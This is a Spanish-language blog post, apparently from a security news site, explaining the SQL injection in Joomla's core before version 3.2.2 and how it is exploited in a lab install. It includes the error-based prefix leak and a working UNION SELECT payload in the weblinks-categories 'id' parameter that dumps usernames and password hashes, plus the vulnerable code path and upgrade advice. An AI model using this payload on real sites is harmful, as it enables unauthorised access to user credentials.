Explotando la vulnerabilidad crítica SQL Injection en Joomla < 3.2.2

 En febrero saltó a la palestra una grave vulnerabilidad de inyección SQL que afectaba al gestor de contenidos Joomla!, reportada por killall-9. En esta ocasión, y a diferencia de lo que suele siempre ocurrir, la vulnerabilidad residía en el núcleo de la aplicación y no en módulos o plugins. Por lo que cualquier instalación de Joomla anterior a 3.2.2 es vulnerable por defecto.

Pues bien, ya tenemos más información acerca de la explotación y la causa de la vulnerabilidad, que por tratarse de una inyección SQL, ya se asumía que se trataba de un problema de validación de parámetros.

Preparamos nuestro entorno para disponer de un conjunto LAMP (Linux, Apache, MySQL, PHP) en el que instalaremos la versión 3.2.1 de Joomla afectada por esta vulnerabilidad. Realizamos una instalación por defecto llamando al portal "Joomla Test", cargándola con datos de prueba.

Página de inicio de la instalación de Joomla 3.2.1

Tal y como se ha reportado en diversas fuentes, la vulnerabilidad reside en el parámetro id de la siguiente URL sobre weblinks-categories:

http://URL/joomla/index.php/weblinks-categories?id=

En primer lugar, procedemos a introducir, en vez de un valor esperado (un entero a modo de índice), un carácter X, para provocar la excepción en la aplicación:

http://URL/joomla/index.php/weblinks-categories?id=X

Excepción en consulta del identificador dentro de weblinks-categories

El error muestra la siguiente información en la parte inferior:
0 SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN `ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( X)      

En dicho error, nos quedamos con el prefijo establecido durante la instalación de Joomla para la nomenclatura de las tablas en base de datos, tras la sintaxis de INNER JOIN. En este caso, el prefijo corresponde con ls41c para la tabla contentitem_tag_map
...INNER JOIN `ls41c_contentitem_tag_map` ...

Este prefijo lo utilizaremos durante la explotación de la vulnerabilidad para conocer exactamente como se denomina a la tabla de usuarios dentro de la base de datos del sistema afectado. Por lo que, para consultar información de la tabla de usuarios de Joomla, tendremos que realizar sentencias sobre la tabla ls41c_users. La explotación es simple: incluiremos el UNION SELECT tras el identificador vulnerable, seleccionando el valor de username y posteriormente del password obteniendo su hash (más información sobre esta tabla en la documentación en Joomla), concatenando el carácter '#' entre ellos para su mejor distinción por pantalla:

http://192.168.70.134/joomla/index.php/weblinks-categories
?id=0) union select concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from `ls41c_users`-- )

Mostrando información de la tabla de usuarios de Joomla de base de datos tras inyección SQL

La función que construye la sentencia utilizada se encuentra en el fichero helper.php en la siguiente ruta:

/joomla/modules/mod_tags_similar/helper.php

Cuya función getList de la clase ModTagssimilarHelper no valida correctamente el valor del identificador id, llevándose directamente a la construcción de la sentencia SQL:
Obtención del valor del parámetro id
El valor del parámetro se establece en $tagsToMatch
$tagsToMatch se introduce directamente en la query de base de datos que posteriormente se ejecutará

Se recomienda actualizar Joomla a su última versión disponible, que actualmente corresponde con la 3.2.3.

[+] OSVDB 103126 : Joomla /modules/mod_tags_similar/helper.php ModTagssimilarHelper::getList() Method Parameter SQL Injection
Explotando la vulnerabilidad crítica SQL Injection en Joomla < 3.2.2  Explotando la vulnerabilidad crítica SQL Injection en Joomla < 3.2.2 Reviewed by Zion3R on 14:35 Rating: 5